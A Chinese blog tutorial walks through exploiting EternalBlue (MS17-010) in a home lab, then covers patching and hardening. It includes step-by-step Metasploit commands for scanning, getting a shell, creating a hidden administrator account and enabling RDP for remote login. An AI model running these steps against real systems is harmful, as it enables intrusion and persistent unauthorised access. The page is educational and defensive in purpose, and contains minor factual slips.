MS17-010（Eternal blue永恒之蓝）漏洞利用+修复方法

目录

一、漏洞简介

漏洞原理

影响版本

二、漏洞复现

三、复现过程

1、扫描局域网内的C段主机（主机发现）

扫描结果：

2.使用MSF的永恒之蓝漏洞模块

3.对主机进行扫描，查看其是否有永恒之蓝漏洞

4.准备攻击

四、漏洞利用

五、提升权限

1.创建新用户

2.将用户添加至管理员群组

3.查看端口的开启情况

六、远程登录

七、漏洞修复

一、漏洞简介

永恒之蓝（EternalBlue）是一个由美国国家安全局（NSA）开发的漏洞利用工具，最初在2017年由“影子经纪人”（Shadow Brokers）组织泄露。这个漏洞利用工具利用了Windows操作系统中的一个安全漏洞（CVE-2017-0144），允许攻击者远程执行代码，无需用户交互即可远程控制受感染的计算机。具体来说，它利用了Windows Server Message Block (SMB) v1协议中的漏洞，使得攻击者可以在目标系统上执行恶意代码，甚至可以在未经授权的情况下传播自身。

永恒之蓝漏洞的爆发引发了全球范围内的关注，尤其是在2017年的“惊叹号勒索软件”（WannaCry ransomware）攻击中，该漏洞被大规模利用，造成了数十万台计算机的感染和停机事件。这次攻击揭示了许多组织和公司在保护其网络安全方面的薄弱之处，也促使了更广泛的安全漏洞修复和网络防护措施的加强。

漏洞原理

永恒之蓝漏洞的利用基于Windows操作系统中的一个漏洞（CVE-2017-0144），主要涉及以下几个方面的技术细节：

  1. Windows SMB服务漏洞：漏洞利用了Windows操作系统中的Server Message Block (SMB) v1协议的一个安全漏洞。SMB协议是Windows系统用于文件和打印机共享的网络协议。

  2. 远程执行代码（RCE）：漏洞允许攻击者通过发送特制的网络数据包，无需用户交互即可远程执行恶意代码。这使得攻击者可以获取目标系统的控制权。

  3. 无需身份验证：攻击者可以在不需要凭据或者认证的情况下利用漏洞，这使得漏洞的利用更为危险和普遍。

影响版本

永恒之蓝漏洞主要影响以下版本的Windows操作系统：

  • Windows Vista

  • Windows Server 2008

  • Windows 7

  • Windows Server 2008 R2

二、漏洞复现

环境

  1. 攻击机：Linux kali （IP：192.168.220.128）

  2. 靶机：Windows 7 旗舰版（IP；192.168.220.133）

环境说明：Windows 7 防火墙关闭，445端口打开，两台主机之间可以ping通

三、复现过程

1、扫描局域网内的C段主机（主机发现）

扫描结果：

  1. 192.168.220.2

    • 只有一个端口开放：53/tcp（domain）。这可能是一台运行DNS服务的设备。

  2. 192.168.220.128

    • 所有扫描的1000个端口都处于“ignored states”状态，表示这台主机在扫描时未给出具体的端口状态信息。这可能是由于网络或主机的防火墙设置等原因导致的。

  3. 192.168.220.133

    • 多个端口开放，包括80/tcp（http）、135/tcp（msrpc）、139/tcp（netbios-ssn）、445/tcp（microsoft-ds）、5357/tcp（wsdapi）以及一系列高端口（49152-49165/tcp）。

    • 这表明这台主机可能是一台Windows主机，同时运行了HTTP服务、Microsoft RPC服务、NetBIOS服务、以及一些未知用途的高端口服务。

2.使用MSF的永恒之蓝漏洞模块

打开MSF

msfconsole

这个界面每次都不相同。

搜索漏洞代码：ms17_010

search ms17_010

这里可以看到26个可以利用的模块及其描述：

  1. exploit/windows/smb/ms17_010_eternalblue

    • 揭露日期：2017-03-14

    • 等级：average

    • 检查：Yes

    • 描述：MS17-010 EternalBlue SMB远程Windows内核池损坏漏洞利用，用于执行远程代码。

    目标包括：

    • Windows 7

    • Windows Embedded Standard 7

    • Windows Server 2008 R2

    • Windows 8

    • Windows 8.1

    • Windows Server 2012

    • Windows 10 Pro

    • Windows 10 Enterprise Evaluation

    这个模块利用了SMB服务上的漏洞，通常使用的是TCP端口445。

  2. exploit/windows/smb/ms17_010_psexec

    • 揭露日期：2017-03-14

    • 等级：normal

    • 检查：Yes

    • 描述：MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB远程Windows代码执行漏洞利用。

    目标包括：

    • 自动目标

    • PowerShell

    • 本地上传（Native upload）

    • MOF上传（MOF upload）

    这个模块利用了SMB服务上的漏洞，同样使用的是TCP端口445。

  3. auxiliary/admin/smb/ms17_010_command

    • 揭露日期：2017-03-14

    • 等级：normal

    • 检查：No

    • 描述：MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB远程Windows命令执行辅助模块。

    这个模块用于执行远程命令，同样是基于SMB服务上的漏洞，端口也是TCP端口445。

  4. auxiliary/scanner/smb/smb_ms17_010

    • 揭露日期：未指定

    • 等级：normal

    • 检查：No

    • 描述：MS17-010 SMB远程执行代码检测辅助模块。

    这个模块用于检测目标系统是否受到MS17-010漏洞的影响，同样基于SMB服务，端口是TCP端口445。

3.对主机进行扫描，查看其是否有永恒之蓝漏洞

使用模块24开始攻击：use 24，也可以用use scanner/smb/smb_ms17_010

用options查看需要设置的参数

设置目标主机set rhost 192.168.220.133,设置成功会返回rhost的值，用run开始

  • VULNERABLE to MS17-010：扫描结果显示目标主机存在MS17-010漏洞，即永恒之蓝漏洞。

  • 操作系统信息：目标主机运行的是 Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit) 操作系统。

4.准备攻击

使用模块0开始攻击：use 0，也可以用use windows/smb/ms17_010_eternalblue

查看需要设置的参数：options

设置目标ip地址

set rhost 192.168.220.133

run

看到win说明成功

四、漏洞利用

获取靶机shell

shell

乱码是因为linux和windows的编码方式不同导致

使用代码：chcp 65001

查看IP：ipconfig

五、提升权限

1.创建新用户

net user bai 123456 /add

bai是用户名，12456是密码

2.将用户添加至管理员群组

net localgroup administrators bai /add

3.查看端口的开启情况

netstat -ano

4.开启3389端口

输入exit退出命令行，在meterpreter中输入run post/windows/manage/enable_rdp

查看端口

成功开启3389端口

六、远程登录

打开一个新终端，输入rdesktop 192.168.220.133

中途会让确认，输入yes确认

选择其他用户

输入我们刚才新加的用户名和密码

登录成功！

七、漏洞修复

永恒之蓝漏洞（EternalBlue）是一个影响Windows操作系统的严重安全漏洞，可被用于远程执行代码攻击。微软已经发布了修复补丁来解决这个漏洞，以及其他相关的安全更新。以下是修复永恒之蓝漏洞的主要方法：

  1. 安装官方补丁：

    • 确保系统上安装了最新的安全补丁。微软已经发布了修复EternalBlue漏洞的补丁。您可以访问微软的官方网站或使用Windows Update来获取并安装最新的安全补丁。

  2. 更新操作系统：

    • 确保操作系统是最新的版本，并且所有的安全更新和补丁都已安装。及时更新操作系统是保持系统安全的重要步骤之一。

  3. 禁用不必要的服务：

    • 如果不需要使用远程桌面服务（RDP）或SMB服务，可以考虑禁用或限制它们的使用。尽可能减少系统暴露在外部攻击面。

  4. 配置防火墙：

    • 在防火墙上设置规则，限制远程访问和网络流量，防止未经授权的访问和攻击。

  5. 网络隔离：

    • 将重要的系统和网络基础设施隔离在内部网络中，减少来自外部网络的直接访问。

  6. 使用安全软件：

    • 安装和使用有效的安全软件，如防病毒软件、防火墙和入侵检测系统（IDS），帮助识别和阻止潜在的威胁。

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：/a/732403.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈qq邮箱809451989@qq.com，一经查实，立即删除！

相关文章

华为---OSPF被动接口配置（四）

华为---OSPF被动接口配置（四）

9.4 OSPF被动接口配置 9.4.1 原理概述 OSPF被动接口也称抑制接口，成为被动接口后，将不会接收和发送OSPF报文。如果要使OSPF路由信息不被某一网络中的路由器获得且使本地路由器不接收网络中其他路由器发布的路由更新信息，即已运行在OSPF协议…
阅读更多...
【泛微系统】解决启动非标功能时提示客户ID不一致的问题

【泛微系统】解决启动非标功能时提示客户ID不一致的问题

解决启动非标时提示CID不一致的问题 泛微OA系统是一个非常丰富的系统，我们在日常工作中会经常遇到很多业务需求，我们会用到很多功能来承载这些需求的实现；OA系统里有标准功能，也有非标准的功能；对于非标准的功能需要打非标补丁包； 有些同学在个人学习系统的过程中会安装本…
阅读更多...
[图解]企业应用架构模式2024新译本讲解16-行数据入口2

[图解]企业应用架构模式2024新译本讲解16-行数据入口2

1 00:00:00,750 --> 00:00:02,470 好，我们来看代码 2 00:00:03,430 --> 00:00:06,070 我们一步一步执行 3 00:00:42,500 --> 00:00:45,000 先初始化数据 4 00:00:52,300 --> 00:00:53,650 创建连接 5 00:00:55,900 --> 00:00:56,970 这里面 6 0…
阅读更多...
Electron快速入门（二）:在（一）的基础上修改两个文件完成自定义显示时间和天气的标题栏

Electron快速入门（二）:在（一）的基础上修改两个文件完成自定义显示时间和天气的标题栏

修改主进程：main.js // main.jsconst { app, BrowserWindow } = require("electron"); const path = require("node:path"); const createWindow = () => {try {const mainWindow = new BrowserWindow({width: 1200,height: 870,alwaysOnTop: true,fr…
阅读更多...
aws的alb，多个域名绑定多个网站实践

aws的alb，多个域名绑定多个网站实践

例如首次创建的alb负载均衡只有www.xxx.com 需要添加 负载 test2.xxx.com aws的Route 53产品解析到负载均衡 www.xxx.com 添加CNAME，到负载均衡的dns字段axx test2.xxx.com 添加CNAME，到负载均衡的dns字段axx 主要介绍目标组和规则 创建alb就不介…
阅读更多...
【报错解决】引入@ComponentScan注解注册bean容器后，导致的接口404问题

【报错解决】引入@ComponentScan注解注册bean容器后，导致的接口404问题

引入ComponentScan注解注册bean容器后，导致的接口404问题 背景 由于微服务开发中，经常需要在公共模块在引入一些公共模块，供其他服务使用，但是其他服务需要在启动类中配置ComponentScan注解扫描这个公共模块下注册的 bean&#…
阅读更多...
sdlan如何智能组网？

sdlan如何智能组网？

【天联】组网是一款异地组网内网穿透产品，由北京金万维科技有限公司自主研发，旨在解决不同地区电脑与电脑、设备与设备、电脑与设备之间的信息远程通信问题。【天联】的操作简单、跨平台应用、无网络要求以及独创的安全加速方案等特点，使得它…
阅读更多...
全国实体商铺店铺商家采集工具，一键采集商家手机号，让你轻松找到目标客户

全国实体商铺店铺商家采集工具，一键采集商家手机号，让你轻松找到目标客户

随着互联网的发展，越来越多的商家开始在网上开展业务，实体商铺的竞争也日益激烈。为了更好地吸引客户，很多商家都选择了线上推广和营销。然而，仅仅依靠线上推广是远远不够的，线下的实体商铺也需要积极拓展客源。因此&a…
阅读更多...
C语言学习记录20240622

C语言学习记录20240622

这次需要用 C 语言库 Allegro 写爆破彗星游戏。项目有一些描述如需要绘制飞船、彗星、子弹，需要响应按键实现飞船加速、减速、转向、开火，需要绘制弹道，需要实现彗星旋转、缩放，需要碰撞检测，需要显示计分。 这些用 w…
阅读更多...
Docker 搭建 MinIO 对象存储

Docker 搭建 MinIO 对象存储

Docker 搭建 MinIO 对象存储 一、MinIO MinIO 是一个高性能的对象存储服务器，用于构建云存储解决方案。MinIO 允许你存储非结构化数据（如图片、视频、日志文件等）以对象的形式。MinIO 提供简单的部署选项和易于使用的界面，允许你…
阅读更多...
高校新闻头条系统

高校新闻头条系统

摘 要 随着互联网技术的快速发展，网络几乎成为了人们搜集信息和交流沟通最方便、快捷的通道，科技创新一直在影响着人们的生活，人们的衣食住行也在不断变化，与此同时，也大大改变了人们获取信息的方式，人们获…
阅读更多...
如何恢复 Mac 数据？适用于 Mac 的免费磁盘恢复软件

如何恢复 Mac 数据？适用于 Mac 的免费磁盘恢复软件

对于大多数 Mac 电脑用户来说，丢失数据是他们最不想遇到的噩梦之一。然而，无论我们多么小心地使用 Mac，多么有条理地存储重要文件，我们仍然有可能丢失 Mac 上的数据。某些硬件故障更有可能导致您意外丢失文件。除此之外&#xff0…
阅读更多...
Camtasia2024中文版最新电脑录屏剪辑神器！

Camtasia2024中文版最新电脑录屏剪辑神器！

大家好，今天我要安利一个我最近超级喜欢的工具——Camtasia2024中文版！这款软件真的太棒了，它让我的视频编辑工作变得更加轻松和高效。如果你也对视频制作感兴趣，那么一定要尝试一下这款神器哦！ Camtasia2024win-正式…
阅读更多...
Android基于MediaBroswerService的App实现概述

Android基于MediaBroswerService的App实现概述

mSession.setPlaybackState(mStateBuilder.build()); // 5. 关联 SessionToken setSessionToken(mSession.getSessionToken()); } } 根据包名做权限判断之后，返回根路径 Override public BrowserRoot onGetRoot(String clientPackageName, int clientUid, Bundl…
阅读更多...
论文解读:Pandora: 朝着结合自然语言动作与视频状态的通用世界模型发展

论文解读:Pandora: 朝着结合自然语言动作与视频状态的通用世界模型发展

论文《Pandora: 朝着结合自然语言动作与视频状态的通用世界模型发展》探索了构建一个高度集成的AI系统，旨在理解自然语言指令并在视频所代表的视觉环境中执行相应操作，从而推进对复杂动态场景的建模与预测能力。以下是该论文的关键点和贡献的详细解读&am…
阅读更多...
无法打开微软商店

无法打开微软商店

今天给大家讲一下我在使用win11系统时遇到的一些问题，希望对出现类似情况的人有所帮助。 首先就是微软商店打不开的问题。相信许多windows系统的用户都会碰到此问题。我在打开时会出 现一直转圈的界面，在网上找了一些方法，但都没什么用处。…
阅读更多...
小阿轩yx-MySQL数据库初体验

小阿轩yx-MySQL数据库初体验

小阿轩yx-MySQL数据库初体验 数据库简介 21 世纪迈入了“信息爆炸时代”，大量的数据、信息在不断产生，伴随而来的就是如何安全、有效地存储、检索和管理它们。 对数据的有效存储、高效访问、方便共享和安全控制已经成为信息时代亟待解决的问题。 使用…
阅读更多...
【STM32-MAP文件分析】

【STM32-MAP文件分析】

STM32-MAP文件分析 ■ MDK编译生成文件简介■ .o■ .axf■ .hex■ .crf■ .d■ .dep■ .lnp■ .lst■ .map■ .build_log.htm■ .htm 文件■ .map 文件 ■ map文件分析■ map 文件的 MDK 设置■ 1. 要生成 map 文件 在 Listing 选项卡里面■ 2. Keil5 中打开.map 文件 ■ map 文…
阅读更多...
来自 Kubecon Paris 的快讯

来自 Kubecon Paris 的快讯

一年一度的 KubeconEU 审查时间到了——它未经过滤，偶尔不受 CNCF 的欢迎——但剧透警告，巴黎取得了巨大的成功。我们总是爱这里的人，我们并不总是爱场地或演出管理，但巴黎是一场胜利，更重要的是，Kubernete…
阅读更多...
无线麦克风一拖二哪个牌子好，揭秘目前音质最好的麦克风

无线麦克风一拖二哪个牌子好，揭秘目前音质最好的麦克风

在自媒体的世界里，无线领夹麦克风已经成了一种标准配置，它受到广大视频创作者的青睐。无论是刚刚踏入短视频领域的新手，还是已经拥有丰富经验的资深博主，都深知一款好的领夹麦克风对于提升视频音频质量的重要性。它不仅能帮助创作…
阅读更多...
最新文章

Copyright @ 2022~2023